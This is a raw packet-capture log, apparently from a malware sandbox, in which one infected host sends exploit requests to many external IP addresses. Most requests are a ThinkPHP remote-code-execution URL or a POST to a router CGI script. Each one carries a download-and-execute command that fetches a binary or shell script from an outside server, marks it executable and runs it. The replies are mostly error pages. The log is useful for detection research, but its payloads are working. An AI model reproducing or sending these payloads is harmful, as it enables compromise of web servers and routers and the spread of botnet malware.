Dec 26, 2023 21:25:13.997446060 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:20.140554905 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:32.426909924 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:57.511348963 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	50052	94.120.215.89	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:08.457139969 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	35962	95.216.26.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:09.624969006 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:13.741457939 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:14.006158113 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:25:13 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	59290	95.76.187.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:09.646115065 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	37922	95.100.42.184	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.582241058 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.789720058 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:12.019618988 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:11 GMT Date: Tue, 26 Dec 2023 20:25:11 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 38 31 64 64 35 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 31 31 26 23 34 36 3b 39 35 63 30 63 35 33 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.681dd517.1703622311.95c0c537</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	47508	95.217.215.100	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.615592003 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:10.882647038 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	52692	95.217.70.199	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.619158030 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:10.887588024 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	40562	95.68.123.66	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.637741089 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.217154980 CET	64	IN	HTTP/1.1 400 Bad Request Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	33644	95.100.186.51	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.845155001 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.089481115 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:10 GMT Date: Tue, 26 Dec 2023 20:25:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 33 65 32 32 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 31 30 26 23 34 36 3b 35 36 33 61 66 38 65 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.43e2217.1703622310.563af8e1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	33620	95.100.186.51	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.882718086 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.112739086 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:10 GMT Date: Tue, 26 Dec 2023 20:25:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 66 33 65 32 32 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 31 30 26 23 34 36 3b 34 37 62 65 31 62 33 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3f3e2217.1703622310.47be1b30</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	46438	95.183.14.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:10.921914101 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.206156969 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 26 Dec 2023 20:25:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	41118	62.29.38.244	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:11.042493105 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	50496	31.200.78.49	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:11.045011044 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	46478	95.183.14.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:11.128197908 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:11.411081076 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 26 Dec 2023 20:25:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	55620	31.136.4.67	8080

Timestamp	Bytes transferred	Direction	Data
